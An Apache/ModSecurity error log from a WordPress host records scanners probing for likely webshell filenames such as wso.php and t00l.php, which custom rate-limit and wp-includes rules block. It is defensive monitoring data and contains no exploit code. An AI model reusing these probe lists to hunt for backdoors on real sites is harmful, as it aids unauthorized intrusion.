[Sun Mar 22 15:24:33.931760 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:16105] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "ab-ZMU2TppSvA8W5CBS1pQAAANI"]
[Sun Mar 22 15:24:34.638969 2026] [:error] [pid 40039:tid 40042] [client 40.89.156.15:16102] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "ab-ZMh3aDgUJfBYishlXTgAAAQE"]
[Sun Mar 22 15:24:35.471681 2026] [:error] [pid 40039:tid 40048] [client 40.89.156.15:16045] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "ab-ZMx3aDgUJfBYishlXTwAAAQc"]
[Sun Mar 22 15:24:36.381743 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:15844] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "ab-ZNE2TppSvA8W5CBS1qwAAANM"]
[Sun Mar 22 15:24:37.391478 2026] [:error] [pid 51363:tid 51431] [client 40.89.156.15:15497] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "ab-ZNVwa9x6OCTRkhl0YhQAAAIM"]
[Sun Mar 22 15:24:38.749936 2026] [:error] [pid 40039:tid 40050] [client 40.89.156.15:14902] [client 40.89.156.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/app.php"] [unique_id "ab-ZNh3aDgUJfBYishlXVwAAAQk"]
[Sun Mar 22 15:24:40.916352 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:15131] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ab-ZOE2TppSvA8W5CBS1vQAAAMg"]
[Sun Mar 22 15:24:44.033546 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:16114] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ab-ZPE2TppSvA8W5CBS1yAAAANc"]
[Sun Mar 22 15:24:44.854037 2026] [:error] [pid 51363:tid 51434] [client 40.89.156.15:16357] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ab-ZPFwa9x6OCTRkhl0YjgAAAIY"]
[Sun Mar 22 15:24:45.425940 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:16258] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ab-ZPU2TppSvA8W5CBS1ywAAAMg"]
[Sun Mar 22 20:00:16.558651 2026] [:error] [pid 51363:tid 51451] [client 20.102.53.32:59613] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sun Mar 22 20:00:17.184619 2026] [:error] [pid 51363:tid 51447] [client 20.102.53.32:59613] [client 20.102.53.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.102.53.32, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "ab_Z0Vwa9x6OCTRkhl2txwAAAJE"]
[Sun Mar 22 20:00:17.532467 2026] [:error] [pid 51363:tid 51437] [client 20.102.53.32:59613] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Sun Mar 22 20:00:18.420374 2026] [:error] [pid 51363:tid 51439] [client 20.102.53.32:59613] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Sun Mar 22 20:00:19.153906 2026] [:error] [pid 51363:tid 51446] [client 20.102.53.32:59613] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Sun Mar 22 20:00:19.368514 2026] [:error] [pid 51363:tid 51449] [client 20.102.53.32:59613] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ab_Z01wa9x6OCTRkhl2t0wAAAJM"]
[Sun Mar 22 20:00:25.164800 2026] [:error] [pid 30166:tid 30185] [client 20.102.53.32:24091] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ab_Z2bm4_26jKMD0zy3iiAAAAUo"]
[Mon Mar 23 02:37:53.109987 2026] [:error] [pid 20856:tid 20929] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/class-t.api.php
[Mon Mar 23 02:37:53.338518 2026] [:error] [pid 20856:tid 20928] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Mon Mar 23 02:37:53.792398 2026] [:error] [pid 20856:tid 20934] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/class19.php
[Mon Mar 23 02:37:54.018486 2026] [:error] [pid 20856:tid 20940] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/class20.php
[Mon Mar 23 02:37:54.241192 2026] [:error] [pid 20856:tid 20925] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Mar 23 02:37:54.449325 2026] [:error] [pid 20856:tid 20920] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/randkeyword.php
[Mon Mar 23 02:37:54.658478 2026] [:error] [pid 20856:tid 20926] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/fwe.php
[Mon Mar 23 02:37:55.095935 2026] [:error] [pid 20856:tid 20943] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Mon Mar 23 02:37:55.308188 2026] [:error] [pid 20856:tid 20924] [client 20.163.240.53:59365] File does not exist: /usr/local/apache/htdocs/suspended-page/tx1.php
[Mon Mar 23 02:37:55.522914 2026] [:error] [pid 20856:tid 20942] [client 20.163.240.53:59365] [client 20.163.240.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "acA3A8xFtXFVNE-X2-KppAAAANc"]
[Mon Mar 23 02:37:56.406699 2026] [:error] [pid 27776:tid 27862] [client 20.163.240.53:53597] [client 20.163.240.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "acA3BI3Eaq7IZ5L-4XVpsQAAAQ8"]
[Mon Mar 23 02:37:57.304086 2026] [:error] [pid 20574:tid 20595] [client 20.163.240.53:53582] [client 20.163.240.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "acA3BddMXEnEZrwyzJkVxQAAAAY"]
[Mon Mar 23 02:37:58.135276 2026] [:error] [pid 27776:tid 27849] [client 20.163.240.53:3055] [client 20.163.240.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "acA3Bo3Eaq7IZ5L-4XVptwAAAQM"]
[Mon Mar 23 02:53:52.838396 2026] [:error] [pid 20574:tid 20605] [client 20.220.61.78:2380] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "acA6wNdMXEnEZrwyzJkbkAAAABA"]
[Mon Mar 23 02:53:53.819805 2026] [:error] [pid 20584:tid 20620] [client 20.220.61.78:2344] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "acA6wSWzr-bD_t6AP_TXUgAAAEQ"]
[Mon Mar 23 02:53:54.833119 2026] [:error] [pid 20856:tid 20920] [client 20.220.61.78:2360] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "acA6wsxFtXFVNE-X2-KxNQAAAME"]
[Mon Mar 23 02:53:55.784997 2026] [:error] [pid 27776:tid 27848] [client 20.220.61.78:2271] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "acA6w43Eaq7IZ5L-4XVySgAAAQI"]
[Mon Mar 23 03:23:59.968526 2026] [:error] [pid 20587:tid 20662] [client 85.137.48.167:50752] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Mon Mar 23 15:52:42.471802 2026] [:error] [pid 57265:tid 57283] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/6kDPjgFTmvS.php
[Mon Mar 23 15:52:42.909941 2026] [:error] [pid 57265:tid 57281] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Mon Mar 23 15:52:43.270698 2026] [:error] [pid 57265:tid 57288] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Mon Mar 23 15:52:43.722054 2026] [:error] [pid 57265:tid 57277] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/ff1.php
[Mon Mar 23 15:52:44.029892 2026] [:error] [pid 57265:tid 57282] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/x1.php
[Mon Mar 23 15:52:44.351136 2026] [:error] [pid 57265:tid 57275] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Mon Mar 23 15:52:44.656928 2026] [:error] [pid 57265:tid 57290] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/t00l.php
[Mon Mar 23 15:52:44.981008 2026] [:error] [pid 57265:tid 57276] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/24.php
[Mon Mar 23 15:52:45.250369 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Mon Mar 23 15:52:45.537725 2026] [:error] [pid 57265:tid 57270] [client 4.223.87.176:47533] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Mon Mar 23 15:52:45.834113 2026] [:error] [pid 57265:tid 57287] [client 4.223.87.176:47533] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acDxTWNLjPJJkhuqCsjcbgAAARQ"]
[Mon Mar 23 15:52:46.904443 2026] [:error] [pid 57265:tid 57282] [client 4.223.87.176:48235] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acDxTmNLjPJJkhuqCsjccgAAAQ8"]
[Mon Mar 23 15:52:47.622843 2026] [:error] [pid 57265:tid 57282] [client 4.223.87.176:46766] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acDxT2NLjPJJkhuqCsjcggAAAQ8"]
[Mon Mar 23 15:52:48.776921 2026] [:error] [pid 14573:tid 14599] [client 4.223.87.176:47537] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acDxUO-oSmHn3q4_J1F9SAAAAVg"]
[Mon Mar 23 15:52:49.643197 2026] [:error] [pid 23441:tid 23514] [client 4.223.87.176:47519] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acDxURq7S-oOqSXZEr6-JQAAAIs"]
[Mon Mar 23 15:52:50.652741 2026] [:error] [pid 35165:tid 35175] [client 4.223.87.176:46838] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acDxUs6udpN6Esk7JKuFfQAAAYc"]
[Mon Mar 23 15:52:51.854006 2026] [:error] [pid 23441:tid 23508] [client 4.223.87.176:48168] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acDxUxq7S-oOqSXZEr6-KAAAAIU"]
[Mon Mar 23 15:52:52.615777 2026] [:error] [pid 14573:tid 14597] [client 4.223.87.176:46797] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acDxVO-oSmHn3q4_J1F9TQAAAVY"]
[Mon Mar 23 15:52:53.567442 2026] [:error] [pid 14573:tid 14594] [client 4.223.87.176:48153] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "acDxVe-oSmHn3q4_J1F9VAAAAVM"]
[Mon Mar 23 15:52:54.450858 2026] [:error] [pid 57265:tid 57285] [client 4.223.87.176:47490] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "acDxVmNLjPJJkhuqCsjckQAAARI"]
[Mon Mar 23 15:52:56.477448 2026] [:error] [pid 14573:tid 14576] [client 4.223.87.176:46832] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "acDxWO-oSmHn3q4_J1F9WAAAAUE"]
[Mon Mar 23 15:52:57.833417 2026] [:error] [pid 14573:tid 14599] [client 4.223.87.176:47548] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "acDxWe-oSmHn3q4_J1F9XgAAAVg"]
[Mon Mar 23 15:52:59.163807 2026] [:error] [pid 23539:tid 23568] [client 4.223.87.176:48244] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acDxW37Dh3qWGSpIAZX3-AAAANQ"]
[Mon Mar 23 15:53:00.939727 2026] [:error] [pid 57265:tid 57290] [client 4.223.87.176:48213] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acDxXGNLjPJJkhuqCsjcmwAAARc"]
[Mon Mar 23 15:53:09.949799 2026] [:error] [pid 23539:tid 23559] [client 4.223.87.176:46819] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acDxZX7Dh3qWGSpIAZX4AgAAAMs"]
[Mon Mar 23 15:53:11.420631 2026] [:error] [pid 23539:tid 23568] [client 4.223.87.176:47597] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acDxZ37Dh3qWGSpIAZX4BQAAANQ"]
[Mon Mar 23 15:53:12.425439 2026] [:error] [pid 23439:tid 23452] [client 4.223.87.176:48162] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acDxaKZv8XIzUKdgaMd-UgAAAAM"]
[Mon Mar 23 15:53:15.113565 2026] [:error] [pid 35165:tid 35168] [client 4.223.87.176:48810] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acDxa86udpN6Esk7JKuFngAAAYA"]
[Mon Mar 23 15:53:16.013610 2026] [:error] [pid 23441:tid 23521] [client 4.223.87.176:48862] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acDxbBq7S-oOqSXZEr6-NgAAAJI"]
[Mon Mar 23 15:53:17.083593 2026] [:error] [pid 23439:tid 23458] [client 4.223.87.176:48212] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acDxbaZv8XIzUKdgaMd-XAAAAAk"]
[Mon Mar 23 15:53:17.786381 2026] [:error] [pid 35165:tid 35184] [client 4.223.87.176:48888] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acDxbc6udpN6Esk7JKuFoQAAAZA"]
[Mon Mar 23 15:53:18.570860 2026] [:error] [pid 23441:tid 23522] [client 4.223.87.176:48858] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acDxbhq7S-oOqSXZEr6-NwAAAJM"]
[Mon Mar 23 15:53:19.220098 2026] [:error] [pid 23441:tid 23515] [client 4.223.87.176:48151] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acDxbxq7S-oOqSXZEr6-OwAAAIw"]
[Mon Mar 23 15:53:20.104565 2026] [:error] [pid 14573:tid 14597] [client 4.223.87.176:48833] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acDxcO-oSmHn3q4_J1F9hQAAAVY"]
[Mon Mar 23 15:53:20.848725 2026] [:error] [pid 23441:tid 23523] [client 4.223.87.176:48161] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "acDxcBq7S-oOqSXZEr6-PQAAAJQ"]
[Mon Mar 23 15:53:21.645576 2026] [:error] [pid 57265:tid 57284] [client 4.223.87.176:48857] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "acDxcWNLjPJJkhuqCsjcqwAAARE"]
